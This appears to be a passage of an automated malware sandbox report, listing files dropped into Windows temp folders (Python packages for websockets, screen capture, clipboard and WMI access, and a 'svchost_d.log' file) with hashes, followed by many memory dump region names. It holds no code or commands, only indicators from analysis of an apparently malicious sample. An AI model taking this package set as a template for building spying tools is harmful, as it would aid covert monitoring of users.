                        • SHA256 4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        websocket_client-1.9.0-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\websocket_client-1.9.0-py3-none-any.whl
                        • Size 80KB
                        • SHA256 af248a825037ef591efbf6ed20cc5faa03d3b47b9e5a2230a529eeee1c1fc3ef
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        wsproto-1.3.2-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\wsproto-1.3.2-py3-none-any.whl
                        • Size 23KB
                        • SHA256 61eea322cdf56e8cc904bd3ad7573359a242ba65688716b0710a5eb12beab584
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        psutil-7.2.2-cp37-abi3-win_amd64.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-lwxxfxxb\psutil-7.2.2-cp37-abi3-win_amd64.whl.metadata
                        • Size 22KB
                        • SHA256 a263a40220d921d9cb963fc636d34f817aa2eb72c2696e3e3465d088cdb1976b
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        comtypes-1.4.16-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-n5fbzw8q\comtypes-1.4.16-py3-none-any.whl.metadata
                        • Size 7KB
                        • SHA256 279c07158e942a3d3a8099d4bec6c3f157ba42272c853de6f3c631a57ffa0a69
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        numpy-2.5.0-cp312-cp312-win_amd64.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ogui88e_\numpy-2.5.0-cp312-cp312-win_amd64.whl.metadata
                        • Size 6KB
                        • SHA256 981cedfa033b69d5a8e153e42cf5f26f7027dd0b3701c37d8d8a2b83e8315d48
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        simple_websocket-1.1.0-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-qbodd_60\simple_websocket-1.1.0-py3-none-any.whl.metadata
                        • Size 1KB
                        • SHA256 8c865415109b83c01ed41370122a4095232fb8f274e7f6d7a69b659360c788d4
                        • MD5 SHA1 SHA512 TLSH

                        pycparser-3.0-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-qea8xzy1\pycparser-3.0-py3-none-any.whl.metadata
                        • Size 8KB
                        • SHA256 f547a60b0ab54cc2f242213d1f87960ad80df7dd5dfeb98d17a444d48bfb6b93
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        certifi-2026.6.17-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-s216ulrj\certifi-2026.6.17-py3-none-any.whl.metadata
                        • Size 2KB
                        • SHA256 ea15c09edd1ad9e97bc66d9ef71bcfb910a7b592e374a0a437cd5ee3b134c0df
                        • MD5 SHA1 SHA512 TLSH

                        dxcam-0.3.0-cp312-cp312-win_amd64.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-siz7472p\dxcam-0.3.0-cp312-cp312-win_amd64.whl.metadata
                        • Size 11KB
                        • SHA256 4a451cd8e0fc803498bd1786f3d9c2f704245cfecdece406c2341f7dc0afd8a7
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        WMI-1.5.1-py2.py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-utd0l2rx\WMI-1.5.1-py2.py3-none-any.whl.metadata
                        • Size 3KB
                        • SHA256 bf90809237a8ce1dac86bed7e34e4e76692d87ffd21aed16541105cd63ea533a
                        • MD5 SHA1 SHA512 TLSH

                        python_socketio-5.16.3-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-wxmijdz5\python_socketio-5.16.3-py3-none-any.whl.metadata
                        • Size 3KB
                        • SHA256 4a1da1dbc9432ce036cd83af4ba23effb067e21105bcc21f9f5acf4ab77227df
                        • MD5 SHA1 SHA512 TLSH

                        pyperclip-1.11.0-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-x3l60q5w\pyperclip-1.11.0-py3-none-any.whl.metadata
                        • Size 2KB
                        • SHA256 2493839e0751761f27d39aa6d5c5dfd1df839c45da8f328aba4ae4102868b825
                        • MD5 SHA1 SHA512 TLSH

                        urllib3-2.7.0-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-xtupl_py\urllib3-2.7.0-py3-none-any.whl.metadata
                        • Size 6KB
                        • SHA256 66147856d30bbb6bed01c6ce3326d0f48d84ed5f286ac177633a1486b82eace5
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pillow-12.2.0-cp312-cp312-win_amd64.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-zp_3gvba\pillow-12.2.0-cp312-cp312-win_amd64.whl.metadata
                        • Size 8KB
                        • SHA256 500a4dcf2154f5291661ea4a9025898081d536c3026d506c648c31b68a7a66cc
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        python_engineio-4.13.3-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ztla16c_\python_engineio-4.13.3-py3-none-any.whl.metadata
                        • Size 2KB
                        • SHA256 a10f23cd13ec4a2c7619f4f953eb88ee756231d8de3bc65ab373ec0f166175c7
                        • MD5 SHA1 SHA512 TLSH

                        svchost_d.log

                        • Path C:\Users\Admin\AppData\Local\Temp\svchost_d.log
                        • Size 2KB
                        • SHA256 9d4f14507c1da34f54676535e02657dd1be59ea17287927ff78db10ee2ecab42
                        • MD5 SHA1 SHA512 TLSH

                        svchost_d.log

                        • Path C:\Users\Admin\AppData\Local\Temp\svchost_d.log
                        • Size 2KB
                        • SHA256 ac233ab8c3dfec16df6e6fb1e68f0f094d859c5ac19e6d45633ddcc9bec78fae
                        • MD5 SHA1 SHA512 TLSH

                        tmpatkn2pkk

                        • Path C:\Users\Admin\AppData\Local\Temp\tmpatkn2pkk
                        • Size 5KB
                        • SHA256 46dfe6e5ac462d0f680ecd9abcf66e829b6a2334824b4d9e3979b31135caf281
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        cacert.pem

                        • Path C:\Users\Admin\AppData\Local\Temp\tmpcy6oachk\cacert.pem
                        • Size 266KB
                        • SHA256 fc9165a12403263e7ebfbdad7be7a3eac0fa5d325d3c70465f28d3690072ca28
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pip.zip

                        • Path C:\Users\Admin\AppData\Local\Temp\tmpcy6oachk\pip.zip
                        • Size 1.7MB
                        • SHA256 3eadb2e6563251c96c52d3913ca35fa1d38ebe09397529ca6d7ccc181a8bd326
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/692-17647-0x00007FF69A950000-0x00007FF69AFFB000-memory.dmp

                        memory/692-17596-0x00007FF69A950000-0x00007FF69AFFB000-memory.dmp

                        memory/692-17609-0x00007FF69A950000-0x00007FF69AFFB000-memory.dmp

                        memory/692-17558-0x00007FF69A950000-0x00007FF69AFFB000-memory.dmp

                        memory/692-17623-0x00007FF69A950000-0x00007FF69AFFB000-memory.dmp

                        memory/692-17635-0x00007FF69A950000-0x00007FF69AFFB000-memory.dmp

                        memory/692-17661-0x00007FF69A950000-0x00007FF69AFFB000-memory.dmp

                        memory/1360-17500-0x00000196F6700000-0x00000196F67B2000-memory.dmp

                        memory/2444-17486-0x0000027C4A170000-0x0000027C4A222000-memory.dmp

                        memory/2848-17531-0x00007FF69A950000-0x00007FF69AFFB000-memory.dmp

                        memory/2900-17442-0x000002A15ED20000-0x000002A15ED3E000-memory.dmp

                        memory/2900-17443-0x000002A15ED40000-0x000002A15EDF2000-memory.dmp

                        memory/2900-17444-0x000002A15EE00000-0x000002A15EE0A000-memory.dmp

                        memory/6140-17549-0x00007FF69A880000-0x00007FF69B030000-memory.dmp

                        memory/6140-17546-0x000002AFF5E80000-0x000002AFF5EA0000-memory.dmp

                        memory/6232-6653-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-11-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-10-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-7-0x000002AC86130000-0x000002AC86152000-memory.dmp

                        memory/6232-8-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-12-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-17-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-13-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-18-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-19-0x000002AC9E620000-0x000002AC9E63C000-memory.dmp

                        memory/6232-21-0x000002AC861C0000-0x000002AC861C6000-memory.dmp

                        memory/6232-2508-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-20-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-22-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-23-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-14-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-1-0x00007FFC9479F000-0x00007FFC947A0000-memory.dmp

                        memory/6232-16-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-25-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-2442-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-24-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6232-2704-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp

                        memory/6492-17628-0x00007FF752EB0000-0x00007FF753660000-memory.dmp

                        memory/6492-17575-0x00007FF752EB0000-0x00007FF753660000-memory.dmp

                        memory/6492-17589-0x00007FF752EB0000-0x00007FF753660000-memory.dmp

                        memory/6492-17652-0x00007FF752EB0000-0x00007FF753660000-memory.dmp

                        memory/6492-17601-0x00007FF752EB0000-0x00007FF753660000-memory.dmp

                        memory/6492-17563-0x00007FF752EB0000-0x00007FF753660000-memory.dmp

                        memory/6492-17640-0x00007FF752EB0000-0x00007FF753660000-memory.dmp

                        memory/6492-17614-0x00007FF752EB0000-0x00007FF753660000-memory.dmp

                        memory/7136-17528-0x00000000057A0000-0x00000000057F2000-memory.dmp

                        memory/7136-17530-0x0000000005860000-0x00000000058AC000-memory.dmp

                        memory/7136-17529-0x00000000058B0000-0x0000000005942000-memory.dmp

                        memory/7136-17527-0x0000000005730000-0x00000000057A2000-memory.dmp

                        memory/7136-17553-0x00000000061D0000-0x0000000006236000-memory.dmp

                        memory/7136-17526-0x0000000000C80000-0x0000000000CE8000-memory.dmp